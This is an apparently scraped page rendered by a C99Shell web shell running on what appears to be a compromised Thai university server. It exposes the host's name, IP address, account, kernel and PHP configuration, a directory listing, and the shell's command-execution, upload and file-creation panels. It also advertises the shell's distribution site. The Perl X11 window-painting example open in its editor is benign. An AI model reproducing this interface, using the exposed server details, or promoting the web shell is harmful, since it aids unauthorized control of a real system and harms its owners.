67vc33-b1a78eb8b39a7a2f.ithost.pongsawadi.ac.th

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64 User: ithost67s46552gwdc Software: Apache IP: 161.82.130.184 PHP: 8.2.30 CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF /usr/share/doc/libx11-protocol-perl/examples/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux ns1.ithost.pongsawadi.ac.th 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64

User: ithost67s46552gwdc

Software: Apache

IP: 161.82.130.184

PHP: 8.2.30

CURL:ON SSH2:ON Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:ON Oracle:OFF CGI:OFF

/usr/share/doc/libx11-protocol-perl/examples/

Edit File: random-win.pl

#!/usr/bin/perl

# Overwrite a bunch of randomly chosen windows on the screen with
# random-colored rectangles. You might want to learn about the
# "xrefresh" program before trying this one.

# Demonstrates the use of "robust_req"

use X11::Protocol;

$X = X11::Protocol->new;

my $gc = $X->new_rsrc;
$X->req('CreateGC', $gc, $X->root);

for (1 .. 2500) {
    my $client = rand(50);
    my $client_id = rand(200);
    my $id = $client << 21 | $client_id;
    printf "XID %x ", $id;
    my($result,) = $X->robust_req('GetGeometry', $id);
    my %geom;
    if (ref $result) {
	print "exists\n";
	%geom = @$result;
    } else {
	print "does not exist\n";
	next;
    }
    # Make sure we've got a Window rather than a Pixmap, since overwriting
    # Pixmaps is more permanent and therefore less amusing.
    next unless ref $X->robust_req('GetWindowAttributes', $id);
    $X->req('ChangeGC', $gc, 'foreground' => rand(2**32));
    my($result,) = $X->robust_req('PolyFillRectangle', $id, $gc,
				  [5, 5, $geom{width}-10, $geom{height}-10]);
    if (not ref $result) {
	print "Ignoring $result error\n";
    }
}

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
anim.pl	2.77 KB	16.02.2003 08:01:29	0/0	-rw-r--r--	Edit Rename Download
full_test.pl	17.41 KB	11.05.2003 20:20:47	0/0	-rw-r--r--	Edit Rename Download
long-run.pl	3.09 KB	16.02.2003 05:04:29	0/0	-rw-r--r--	Edit Rename Download
random-win.pl	1.08 KB	13.10.2003 02:39:18	0/0	-rw-r--r--	Edit Rename Download
render-clock.pl	11.97 KB	23.04.2005 17:49:38	0/0	-rw-r--r--	Edit Rename Download
render-test.pl	6.81 KB	23.03.2004 04:19:25	0/0	-rw-r--r--	Edit Rename Download
teletype.pl	2.87 KB	10.01.2000 19:27:14	0/0	-rw-r--r--	Edit Rename Download
widgets.c	25.1 KB	08.10.2006 20:07:07	0/0	-rw-r--r--	Edit Rename Download
widgets1.pl	22.39 KB	08.10.2006 20:01:06	0/0	-rw-r--r--	Edit Rename Download
widgets2.pl	26.31 KB	08.10.2006 20:02:14	0/0	-rw-r--r--	Edit Rename Download
widgets3.pl	20.97 KB	08.10.2006 20:02:24	0/0	-rw-r--r--	Edit Rename Download
wintree.pl	2.3 KB	02.04.2004 02:05:49	0/0	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1774306043.8729 ]--

Explain